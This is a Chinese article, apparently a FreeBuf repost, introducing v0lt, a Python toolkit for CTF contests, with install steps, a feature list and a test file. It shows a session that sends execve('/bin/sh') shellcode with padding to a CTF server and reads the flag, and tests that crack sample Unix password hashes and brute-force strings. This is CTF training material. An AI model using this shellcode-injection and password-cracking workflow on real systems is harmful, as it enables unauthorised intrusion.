v0lt，CTF安全工具包

2016-4-18 11:33| 发布者: 随便、先森。| 查看: 14571| 评论: 0|来自: FreeBuf

摘要: 0×00 v0ltv0lt是一个我尝试重组每一个我使用过的/现在在使用的/将来要用的用python开发的安全领域CTF工具。实践任务可能会采用bash脚本来解决，但我认为Python更具有灵活性，这也是我做出这一选择的原因。和丹麦CTF ...

0×00 v0lt

v0lt是一个我尝试重组每一个我使用过的/现在在使用的/将来要用的用python开发的安全领域CTF工具。实践任务可能会采用bash脚本来解决，但我认为Python更具有灵活性，这也是我做出这一选择的原因。和丹麦CTF队伍Gallopsled开发的pwntools 没有关系，v0lt只是一个小型灵活但是却具有一些特别功能的工具包。

0×01 要求和安装

依赖关系:

Libmagic
Python3
- BeautifulSoup
- Requests
- filemagic
- hexdump
- passlib

安装:

git clone https://github.com/P1kachu/v0lt.git
cd v0lt
[sudo] python3 setup.py install # 要求sudo执行是因为可能存在缺失的依赖关系

实例: Shellcodes

>>> from v0lt import *
>>> nc = Netcat("archpichu.ddns.net", 65102)
Connected to port 65102
>>> print(nc.read())
GIVE ME SHELLCODZ
>>> shellhack = ShellHack(4096, "bin","execve")
>>> shellhack.get_shellcodes(shellhack.keywords)

...<SNIPPED>...
85: Linux/x86:setuid(0) & execve(/sbin/poweroff -f) - 47 bytes
86: Linux/x86:execve (/bin/sh) - 21 Bytes
87: Linux/x86:break chroot execve /bin/sh - 80 bytes
88: Linux/x86:execve(/bin/sh,0,0) - 21 bytes
...<SNIPPED>...

Selection: 86
Your choice: http://shell-storm.org/shellcode/files/shellcode-752.php
Shellcode: "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62[...]"

>>> nc.shellcat(shellhack.shellcode)
>>> nc.writeln(shellhack.pad())
>>> exploit = nc.dialogue("cat flag", 3)
>>> print(exploit)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:
File name too long
P1kaCTF{sh3llc0de_1s_e4zY}

实现功能:

加密
- Base64
- 凯撒移位
- 哈希功能(SHA, MD5)
- 位运算(XOR, 反向XOR)
- 常用转换(bytes, strings, hex)
- RSA基础模块 (逆模, 逆幂, 实现RSA共模攻击的egcd脚本…)
- 暴力破解(基于字典, 自定义词)
Shellcodes
- 从Jonathan Salwan的个人网站Shell-storm选定Shellcode并用repo工具下载
- Shellcode格式
- Shell{cat,net}: 轻松发送Shellcode
- 自动填充
连接支持
- Netcat
- Telnet

更多可获得的实例:

import unittest

from v0lt import *

__author__ = 'P1kachu'

class Tests(unittest.TestCase):
    def test_netcat(self):
        nc = Netcat("archpichu.ddns.net", 65103)
        self.assertEqual(nc.read(), "\nNothing to display yet...\n")

    def test_telnet(self):
        tl = Telnet("archpichu.ddns.net", 65103)
        self.assertEqual(tl.read(), "\nNothing to display yet...\n")

    def test_stack(self):
        stack = Stack()
        self.assertEqual(stack.size(), 0)
        stack.push("item")
        self.assertEqual(stack.is_empty(), False)
        self.assertEqual(stack.size(), 1)
        item = stack.pop()
        self.assertEqual(stack.size(), 0)
        self.assertEqual(item, "item")
        self.assertEqual(stack.is_empty(), True)

    def test_basic_ceasar(self):
        plaintext = "This is a ceasar plaintext"
        encrypted = "GUVF VF N PRNFNE CYNVAGRKG"
        deciphered = basic_ceasar(plaintext, offset=13)
        self.assertEqual(encrypted, deciphered)

    def test_get_shellcode(self):
        sh = ShellHack(70, "/bin/lol")
        sh.get_shellcodes(sh.keywords)
        sh = ShellHack(70, "/bin/sh")
        sh.get_shellcodes(sh.keywords)

    def test_flag_gen(self):
        flags_gen("flags.tmp", "P1ka", 10)

    def test_find_nth(self):
        self.assertEqual(find_nth("lolilol", "l", 3), 6)
        self.assertEqual(find_nth("lolilol", "l", 4), -1)

    def brute(self):
        bf = Bruteforce(charset="abcd", final_length=5, begin_with="l", end_with="P")
        bf.generate_strings()
        bf = Bruteforce(charset="abcdef", final_length=12, begin_with="l", end_with="P")
        bf.generate_strings(output="bf.tmp")

    def test_hex(self):
        he = Hexeditor()
        he.dump_file("setup.py")
        he.save_file_as_hex("save.tmp")
        he.restore_file("test1.tmp")
        he.restore_file("test2.tmp", "save.tmp")

    def test_passwd_cracker(self):
        nix_basic_pass_cracker("HX9LLTdc/jiDE")
        nix_basic_pass_cracker("HX8LLTdc/jiDE")
        # nix_basic_pass_cracker("$1$khkWa1Nz$7YcmdOO1/uyHhMB7ga2L.1")
        # nix_basic_pass_cracker("$5$khkWa1Nz$583CsGZkoT82wh2ukf75KT4VVrf9ZO/P0FXLiPKgG//")
        # nix_basic_pass_cracker("$6$P1$XKg/SKZpe8Gbl5Utt3XVJEA4zJ6KB.IuZlShnP2FljfF32z3zoytnB.MaP9dJOObSOtiidHmeBp.feOqK4Mvg/")

if __name__ == "__main__":
    suite = unittest.defaultTestLoader.loadTestsFromTestCase(Tests)
    unittest.TextTestRunner().run(suite)